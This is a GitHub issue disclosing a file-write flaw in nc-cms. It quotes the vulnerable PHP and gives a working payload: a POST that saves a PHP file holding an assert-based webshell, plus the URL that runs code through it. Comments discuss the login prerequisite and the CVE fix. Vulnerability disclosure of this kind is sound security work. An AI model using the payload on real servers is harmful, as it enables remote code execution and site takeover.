Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

There is an vulnerability in the filesystem that can get a webshell #14

Closed
jadacheng opened this issue Jan 29, 2019 · 3 comments
Closed

Comments

@jadacheng
Copy link

Hello, I found that this cms may have some security problem(use default file storage)
Source:
./nc-cms/system/lib/storage/Filesystem.php:13-19

   function ContentSave($name, $data)
{
	$path = NC_BASEPATH.'/../content/'.$name;
	$fh = fopen('content/'.$name, 'w') or die(NCUtility::Error("Could not open file: ".$name.". Make sure that this server has read and write permissions  the /nc-cms/content folder."));
	fwrite($fh, $data);
	fclose($fh);
}

./nc-cms/system/lib/NCCms.class.php:382-394

else if($action == 'save')
	{
		$this->UserCheck();

		if(isset($_GET['ref'])) // Required GET data.
		{
			if(isset($_POST['name']) && isset($_POST['editordata'])) // Required POST data.
			{
				$this->storage->ContentSave($_POST['name'], $_POST['editordata']);
			}
			header('Location: '.$_GET['ref']);
			exit();
		}

the file name directly controlled by the user without filtering

payload:
http://localhost/nc-cms-master/nc-cms/index.php?action=save&ref=123 [POST]name=test.php&editordata=<?php assert($_GET['t']);?>

exploit:
http://localhost/nc-cms-master/nc-cms/content/test.php?t=phpinfo();
1548729850 1

@gnat
Copy link
Owner

gnat commented Feb 17, 2020

For people watching, this is only a vulnerability if the admin falls victim to some sort of XSS attack as it requires a login. I may patch at a future date regardless.

If I am seriously wrong about this in some way, please re-open an issue.

@gnat gnat closed this as completed Feb 17, 2020
@gnat gnat reopened this Feb 17, 2020
@gnat gnat closed this as completed Feb 17, 2020
@attritionorg
Copy link

@gnat It would be any form of credential compromise, not just XSS, that gave access to an admin account.

@OS-WS
Copy link

OS-WS commented Jan 19, 2021

Hi, is there a fix for CVE-2019-7721 ?
if so, in what commit?

thanks in advance!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

4 participants